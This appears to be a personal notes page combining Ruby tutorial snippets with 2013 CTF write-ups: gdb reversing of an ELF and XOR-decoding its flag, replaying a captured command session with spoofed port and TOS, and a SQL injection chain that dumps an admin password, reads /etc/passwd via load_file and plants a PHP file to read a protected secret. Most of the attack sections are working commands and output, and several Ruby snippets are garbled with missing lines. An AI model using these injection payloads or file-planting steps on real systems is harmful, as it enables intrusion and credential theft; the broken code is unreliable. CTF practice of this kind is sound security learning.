counter += 1
end

counter = 1
until counter > 11
puts counter
counter += 1
end

for num in 1...10 # 1-9
puts num
end

for num in 1..10 # 1-10
puts num
end

i = 20
loop do
i -= 1
next if i % 2 != 0
print "#{i}"
break if i <= 0
end

my_array = [1,2,3,4,5]

array = [1,2,3,4,5]
array.each do |x|
x += 10
print "#{x}"
end

odds = [1,3,5,7,9]
odds.each do |n|
print n*2
end

10.times { print "Chunky bacon!" }```
4. Arrays and Hashes

```demo_array = [100, 200, 300, 400, 500]
print demo_array[2]

multi_d_array = [[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0]]
multi_d_array.each { |x| puts "#{x}\n" }

my_hash = {
"name" => "Eric",
"age" => 26,
"hungry?" => true
}
puts my_hash["name"]
puts my_hash["age"]
puts my_hash["hungry?"]

pets = Hash.new
pets["Stevie"] = "cat"
pets["John"] = "dog"
pets.each { |x, y| puts "#{x}: #{y}" }```
5. Blocks and Sorting

```def puts_1_to_10
(1..10).each { |i| puts i }
end
puts_1_to_10

def cubertino(n)
puts n ** 3
end
cubertino(8)

def what_up(greeting, *bros)
bros.each { |bro| puts "#{greeting}, #{bro}!" }
end
what_up("What up", "Justin", "Ben", "Kevin Sorbo")

my_array = [3, 4, 8, 7, 1, 6, 5, 9, 2]
my_array.sort!

book_1 = "A Wrinkle in Time"
book_2 = "A Brief History of Time"
c = book_1 <=> book_2 # -1 (>), 0 (=), 1 (<)```
6. Hashes and Symbols

```symbol_hash = {
:symbol1 => 1, # symbol1: 1,
:symbol2 => 2, # symbol2: 2,
:symbol3 => 3  # symbol3: 3
}

strings = ["HTML", "CSS", "JavaScript", "Python", "Ruby"]
symbols = Array.new
strings.each do |string|
symbols.push(string.to_sym) # or string.intern
end

movie_ratings = {
memento: 1,
primer: 2,
the_matrix: 3,
}
good_movies = movie_ratings.select { |m, r| r > 2 }
movie_ratings.each_key { |k| puts k }
movie_ratings.each_value { |v| puts v }```
7. Refactoring

```ruby_is_eloquent = true
ruby_is_ugly = false
puts "Ruby is eloquent!" if ruby_is_eloquent
puts "Ruby's not ugly!" unless ruby_is_ugly

puts 1>0 ? "True" : "False" # Ternary conditional expression

case greeting
when "English" then puts "Hello!"
when "French"  then puts "Bonjour!"
when "German"  then puts "Guten Tag!"
when "Finnish" then puts "Haloo!"
else puts "I don't know that language!"
end

favorite_book = nil
favorite_book ||= "Guide to Ruby" # set
favorite_book ||= "Guide to Perl" # not set

return a + b # a + b (without return)
end

"L".upto("P") { |l| puts l }

age = 26
age.respond_to?(:next) # true (27)

alphabet = ["a", "b", "c"]
alphabet << "d" # alphabet.push("d")
caption = "A giraffe surrounded by "
caption << "weezards!" # caption += "weezards!"

age = 26
I am " + age.to_s + " years old."
I am " << age.to_s << " years old."
I am #{age} years old."```
8. Blocks, Procs, and Lambdas

```fibs = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]
doubled_fibs = fibs.collect { |f| f*2 }

def double(p)
yield p
end
double(1){ |x| x*2 }

floats = [1.2, 3.45, 0.91, 7.727, 11.42, 482.911]
round_down = Proc.new { |x| x.floor }
ints = floats.collect(&round_down)

hi = Proc.new { puts "Hello!" }
hi.call

numbers_array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
strings_array = numbers_array.collect(&:to_s)

strings = ["leonardo", "donatello", "raphael", "michaelangelo"]
symbolize = lambda { |s| s.to_sym }
symbols = strings.collect(&symbolize)```
9. Object-Oriented Programming, Part I

```class Person
def initialize(name)
@name = name
end
end
me = Person.new("Eric")

class MyClass
\$my_variable = "Hello!" # global var
end
puts \$my_variable

class Person
@@people_count = 0 # class variable
def initialize(name,age,profession)
@name = name # instance var
@age = age
@profession = profession
end
end

class ApplicationError
def display_error
puts "Error! Error!"
end
end
class SuperBadError < ApplicationError # inheritance
def display_error # override
puts "SuperError! SuperError!"
super # call parent method
end
end
err.display_error```
10. Object-Oriented Programming, Part II

```class Dog
def initialize(name,breed)
@name = name
@breed = breed
end
public
def bark
puts "Woof!"
end
private
def id
@id_number = 12345
end
end

module Circle
PI = 3.141592653589793
end
end
end

puts Math::PI
require 'date'
puts Date.today

module Action
def jump
@distance = rand(4) + 2
puts "I jumped forward #{@distance} feet!"
end
end
class Rabbit
include Action
def initialize(name)
@name = name
end
end
peter = Rabbit.new("Peter")
peter.jump

module ThePresent
def now
puts "Time"
end
end
class TheHereAnd
extend ThePresent
end
TheHereAnd.now```

### # NcN CTF 2k13: Australia (Base - 500 pts)

```# `file derp`
derp: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0xbf6173b70ab3b4daee58d25e06e33f1738444a18, not stripped
# `chmod +x derp`
# `echo 0 > /proc/sys/kernel/randomize_va_space`
# `gdb --quiet ./derp`
(gdb) `set disassembly-flavor intel`
(gdb) `break main`
(gdb) `run`
(gdb) `disassemble main`
(gdb) `x/6i 0x080483a4`
0x80483a4 <main+208>: mov    eax,ds:0x80d1088
0x80483a9 <main+213>: sub    eax,0x2
0x80483ac <main+216>: mov    DWORD PTR [esp+0x4],eax
0x80483b0 <main+220>: mov    eax,DWORD PTR [esp+0x1c]
0x80483b4 <main+224>: mov    DWORD PTR [esp],eax
0x80483b7 <main+227>: call   0x804841a <check_buffer>
(gdb) `x/xw 0x80d1088`
0x80d1088 <goodboy_len>: 0x00000042
(gdb) `break *0x80483b7`
(gdb) `continue`
Continuing.
Enter flag: `cookie`

Breakpoint 2, 0x080483b7 in main ()
(gdb) `info registers eax`
eax            0x80d5298 135090840
(gdb) `x/s 0x80d5298`
(gdb) `break *0x804841a`
(gdb) `continue`
(gdb) `disassemble`
(gdb) `x/3i 0x0804849c`
=> 0x804849c <check_buffer+130>: mov    eax,DWORD PTR [ebp-0x4]
0x804849f <check_buffer+133>: cmp    eax,DWORD PTR [ebp+0xc]
0x80484a2 <check_buffer+136>: jb     0x804843c <check_buffer+34>
(gdb) `break *0x0804849c`
(gdb) `continue`
(gdb) `x/xb \$ebp-0x4`
0xffffd4e4: 0x00
(gdb) `x/xb \$ebp+0xc`
0xffffd4f4: 0x40
(gdb) `x/64xb 0x080b2224`
0x80b2224: 0xeb 0xe8 0xbf 0xe4 0xea 0xbe 0xba 0xe4
0x80b222c: 0xe5 0xea 0xe8 0xea 0xe8 0xee 0xe9 0xba
0x80b2234: 0xea 0xe8 0xeb 0xba 0xbf 0xba 0xeb 0xea
0x80b223c: 0xe8 0xef 0xbd 0xba 0xed 0xe9 0xba 0xee
0x80b2244: 0xe9 0xed 0xbe 0xed 0xe4 0xea 0xbe 0xba
0x80b224c: 0xe9 0xe4 0xbd 0xea 0xb8 0xe9 0xb8 0xbf
0x80b2254: 0xeb 0xb9 0xbe 0xe4 0xbe 0xba 0xe5 0xbf
0x80b225c: 0xba 0xbf 0xe5 0xb8 0xec 0xe8 0xbf 0xb8
(gdb) `x/3i 0x0804848b`
=> 0x804848b <check_buffer+113>: xor    eax,ecx
0x804848d <check_buffer+115>: cmp    dl,al
0x804848f <check_buffer+117>: je     0x8048498 <check_buffer+126>
(gdb) `break *0x0804848b`
(gdb) `continue`
(gdb) `info registers eax`
eax            0xdc 220
(gdb) `info registers ecx`
ecx            0x63 99
(gdb) `info registers edx`
edx            0xeb 235
(gdb) `quit`
# `python -c 'list=[0xeb,0xe8,0xbf,0xe4,0xea,0xbe,0xba,0xe4,0xe5,0xea,0xe8,0xea,0xe8,0xee,0xe9,0xba,0xea,0xe8,0xeb,0xba,0xbf,0xba,0xeb,0xea,0xe8,0xef,0xbd,0xba,0xed,0xe9,0xba,0xee,0xe9,0xed,0xbe,0xed,0xe4,0xea,0xbe,0xba,0xe9,0xe4,0xbd,0xea,0xb8,0xe9,0xb8,0xbf,0xeb,0xb9,0xbe,0xe4,0xbe,0xba,0xe5,0xbf,0xba,0xbf,0xe5,0xb8,0xec,0xe8,0xbf,0xb8]; print "".join(chr(i^0xdc) for i in list)' | ./derp`
Enter flag: Winner! Post your flag.```

### # NcN CTF 2k13: USA (Flag)

```# `tcpflow -C -r traffic.pcap`
HELLO! What do you want?
ERMAHGERD_LEMME_EXECUTE

FINE!
Only one command...
\$
# `tshark -n -q -r traffic.pcap -z "follow,tcp,ascii,0"`
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 192.168.100.15:6969
Node 1: 192.168.100.254:45887
26
HELLO! What do you want?
24
ERMAHGERD_LEMME_EXECUTE

33
FINE!
Only one command...
\$
===================================================================
# `scapy`
>>> `us=rdpcap("traffic.pcap")`
>>> `us[0]`
<Ether  dst=00:16:3e:63:a1:f6 src=fe:ff:ff:ff:ff:ff type=0x800 |<IP  version=4L ihl=5L tos=0x90 len=60 id=47950 flags=DF frag=0L ttl=64 proto=tcp chksum=0x347f src=192.168.100.254 dst=192.168.100.15 options=[] |<TCP  sport=45887 dport=6969 seq=201010478 ack=0 dataofs=10L reserved=0L flags=S window=14600 chksum=0x4a8d urgptr=0 options=[('MSS', 1460), ('SAckOK', ''), ('Timestamp', (2070112, 0)), ('NOP', None), ('WScale', 7)] |>>>
>>> `exit()`
# `iptables --table mangle --append PREROUTING --dport 6969 --jump TOS --set-tos 0x90`
# `nc --source-port 45887 192.168.69.5 6969`
HELLO! What do you want? `ERMAHGERD_LEMME_EXECUTE`
FINE!
Only one command...
\$ `echo 'CookieMonsters' > /tmp/SCORE_POINTS````

### # NotSoSecure CTF October 2k13

```# `curl --silent --request POST --data "myusername=mu&mypassword=mp" http://ctf.notsosecure.com/71367217217126217712/checklogin.php | xxd -p -r ; echo`
secret_register.html
# `cat console`
#!/bin/bash

echo -n "> "
username=`echo -n "\$line" | sed -e "s/'/%27/g" -e 's/ /+/g'`
osi=`tail -n1 nss | awk '{print \$7}'`
echo \$osi | sed 's/%3D/=/g' | base64 -d ; echo
echo -n "> "
done
# `./console`
> `' and false union select table_name,null from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit 2,1 --`
users
> `' and false union select column_name,null from information_schema.columns where table_name='users' limit 2,1 --`
> `' and false union select password,null from users where name='admin' --`
sqlilabRocKs!!
# `curl --silent --cookie-jar nss --cookie nss --request POST --data 'myusername=admin&amypassword=sqlilabRocKs!!' "http://ctf.notsosecure.com/71367217217126217712/checklogin.php"`
# `curl --silent --cookie-jar nss --cookie nss "http://ctf.notsosecure.com/71367217217126217712/uber_secret.php" | grep -A 3 Success`
<div>Well done, Flag is 815290. 2nd flag is in file secret.txt</div>
# `cat secret`
#!/bin/bash

echo -n "> "
echo "'\$line'"
mu="' and false union select load_file('\$line'),null -- 123"
username=`echo -n "\$mu" | sed -e "s/'/%27/g" -e 's/ /+/g'`
osi=`tail -n1 nss | awk '{print \$7}'`
echo \$osi | sed 's/%3D/=/g' | base64 -d ; echo
echo -n "> "
done
# `./secret`
> `/etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
ntop:x:108:116::/var/lib/ntop:/bin/false
# `ssh temp123@ctf.notsosecure.com`
temp123@ctf.notsosecure.com's password:`weakpassword1`
\$ `find / -name secret.txt 2> /dev/null`
/tmp/secret.txt
/secret.txt
\$ `cat /tmp/secret.txt`
n0th1ng to s33...
\$ `cat /secret.txt`
cat: /secret.txt: Permission denied
\$ `ls -l /secret.txt`
-r-------- 1 www-data www-data 684 Oct 25 07:46 /secret.txt
\$ `cat /home/temp123/.* | less`
\$ `cd /var/www`
\$ `ls -l`
total 40
drwxr-xr-x 4 root root 4096 Oct 25 07:47 71367217217126217712
drwxr-xr-x 3 root root 4096 Oct  7 22:17 css
drwxr-xr-x 4 root root 4096 Oct  7 22:17 ctf
drwxr-xr-x 3 root root 4096 Oct  7 21:59 ctf-ver3
-rw-r--r-- 1 root root  894 Sep 12 08:20 favicon.ico
drwxr-xr-x 2 root root 4096 Oct  7 22:17 img
-rw-r--r-- 1 root root  177 Oct  4 19:43 _index.html
-rw-r--r-- 1 root root 3929 Oct  9 08:04 index.html
-rw-r--r-- 1 root root 2654 Oct  7 22:17 index.html.bak
drwxr-xr-x 4 root root 4096 Oct 27 10:03 leaderboard
\$ `cd 71367217217126217712`
\$ `ls -l`
total 60
-rw-r--r-- 1 root root 1327 Oct 25 07:41 checklogin.php
drwxr-xr-x 2 root root 4096 Oct 22 09:54 css
-rw-r--r-- 1 root root 1607 Oct 22 07:47 error.php
-rw-r--r-- 1 root root  894 Oct 22 02:04 favicon.ico
drwxr-xr-x 4 root root 4096 Oct 22 02:04 images
-rw-r--r-- 1 root root 2092 Oct 22 07:44 index.php
-rw-r--r-- 1 root root 2092 Oct 22 07:45 login.php
-rw-r--r-- 1 root root  991 Oct 22 08:16 _Logout.php
-rw-r--r-- 1 root root 1238 Oct 22 09:40 Logout.php
-rw-r--r-- 1 root root 3040 Oct 22 08:00 _register.php
-rw-r--r-- 1 root root 3060 Oct 25 07:47 register.php
-rw-r--r-- 1 root root 1745 Oct 22 07:53 _secret_register.html
-rw-r--r-- 1 root root 1882 Oct 23 14:26 secret_register.html
-rw-r--r-- 1 root root 3324 Oct 22 08:05 _uber_secret.php
-rw-r--r-- 1 root root 3316 Oct 25 07:47 uber_secret.php
\$ `cat uber_secret.php`
<?php
error_reporting(0);
session_start();
die;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQL</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />

<body>

<div id="page-top-outer">

<div id="page-top">

<div id="logo">
</div>

<div id="top-search">
<tr>
<td>
<a href="Logout.php"><button>Logout</button></a>
</td>
</tr>
</table>
</div>

<div class="clear"></div>

</div>
</div>
<div class="clear"> </div><br />
<div class="clear"></div>
<div id="content-outer">
<div id="content">
</div>
<table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
<tr>
<th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
<th class="topleft"></th>
<td id="tbl-border-top"> </td>
<th class="topright"></th>
<th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
</tr>
<tr>
<td id="tbl-border-left"></td>
<td>
<div id="content-table-inner">

<div id="table-content">
{?>
<div><?echo "Well done, Flag is 815290. 2nd flag is in file secret.txt";?></div>
<?php }
else { ?>

</div>
<?php
\$host="localhost";
\$db_name="2ndorder";
\$tbl_name="users";
mysql_select_db("\$db_name")or die("cannot select DB");

\$sql="SELECT email,name FROM \$tbl_name WHERE name='".\$_SESSION['myusername']." '";

\$result=mysql_query(\$sql);
\$row = mysql_fetch_row(\$result);

<?
?>
</div>
<?php } ?>
<div class="clear"></div>

</div>
</td>
<td id="tbl-border-right"></td>
</tr>
<tr>
<th class="sized bottomleft"></th>
<td id="tbl-border-bottom"> </td>
<th class="sized bottomright"></th>
</tr>
</table>
<div class="clear"> </div>
</div>
<div class="clear"> </div>
</div>
<div class="clear"> </div>

<div class="footer">
<ul>
<li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
</a></li>
</ul>
</div>
</body>
</html>
\$ `cat register.php`
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SQLi labs</title>
<link rel="stylesheet" href="css/screen.css" type="text/css" media="screen" title="default" />

<body>

<div id="page-top-outer">

<div id="page-top">

<div id="logo">
</div>

<div id="top-search">
<tr>
<td>

</td>
</tr>
</table>
</div>

<div class="clear"></div>

</div>

</div>

<div class="clear"> </div>
<div class="clear"></div>
<div id="content-outer">
<div id="content">
</div>
<table border="0" width="100%" cellpadding="0" cellspacing="0" id="content-table">
<tr>
<th rowspan="3" class="sized"><img src="images/shared/side_shadowleft.jpg" width="20" height="300" alt="" /></th>
<th class="topleft"></th>
<td id="tbl-border-top"> </td>
<th class="topright"></th>
<th rowspan="3" class="sized"><img src="images/shared/side_shadowright.jpg" width="20" height="300" alt="" /></th>
</tr>
<tr>
<td id="tbl-border-left"></td>
<td>
<div id="content-table-inner">
<div id="table-content">
<?php
error_reporting(0);
if(\$_GET["regname"] && \$_GET["regemail"] && \$_GET["regpass1"] && \$_GET["regpass2"] )
{
if(\$_GET["regpass1"]==\$_GET["regpass2"])
{
\$servername="localhost";
mysql_select_db("2ndorder",\$conn);
\$sql1="select * from users where name ='".mysql_real_escape_string(\$_REQUEST['regname'])."'";
\$result1=mysql_query(\$sql1);
\$row1 = mysql_fetch_row(\$result1);
\$count1=mysql_num_rows(\$result1);
if (\$count1>0)
{
}
\$result=mysql_query(\$sql,\$conn) or die(mysql_error());
print "You have sucessfully registered!<br>";
}
}
else { ?> <div class="register_invelid">Invaild data</div>
<?php }
?>
</div>
<div class="clear"></div>
</div>
</td>
<td id="tbl-border-right"></td>
</tr>
<tr>
<th class="sized bottomleft"></th>
<td id="tbl-border-bottom"> </td>
<th class="sized bottomright"></th>
</tr>
</table>
<div class="clear"> </div>

</div>
<div class="clear"> </div>

<div class="footer">
<ul>
<li><a href="http://www.securitytube-training.com/virtual-labs/sql-injection-labs/">
</a></li>
</ul>

</div>
</div>
</body>
</html>
\$ `apachectl -M`
/usr/sbin/apachectl: 87: ulimit: error setting limit (Operation not permitted)
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
core_module (static)
log_config_module (static)
logio_module (static)
mpm_prefork_module (static)
http_module (static)
so_module (static)
alias_module (shared)
auth_basic_module (shared)
authn_file_module (shared)
authz_default_module (shared)
authz_groupfile_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
cgi_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
mime_module (shared)
negotiation_module (shared)
php5_module (shared)
reqtimeout_module (shared)
setenvif_module (shared)
status_module (shared)
userdir_module (shared)
Syntax OK
\$ `cat /etc/apache2/mods-enabled/userdir.conf`
<IfModule mod_userdir.c>
UserDir public_html
UserDir disabled root

<Directory /home/*/public_html>
AllowOverride FileInfo AuthConfig Limit Indexes
<Limit GET POST OPTIONS>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>
</IfModule>
\$ `cd /home/temp123`
\$ `mkdir public_html`
\$ `vi index.php`
`<?php echo file_get_contents('/secret.txt');`
`<ESC>:wq`
\$ `exit`
# `curl --silent http://ctf.notsosecure.com/~temp123/index.php`
Well done, 2nd Flag is 128738213812990.

email both the flags to ctf@notsosecure.com with subject CTF FLAGS!

make sure you delete all the files you have created on the server so you dont allow other users easy points by using the files left by you on the server.

Please provide a detailed write up to qualify for cash prize!
The person with best write-up wins. You are allowed to publish the write-up on public site, but please do this after the CTF has finished (sunday, 27th October).

Hope you enjoyed the CTF. This was taken from one of challenges we have on SQLi Labs. To practice more on this visit our SQLi Labs.

The next public CTF will take place in December.

Thanks
Sid```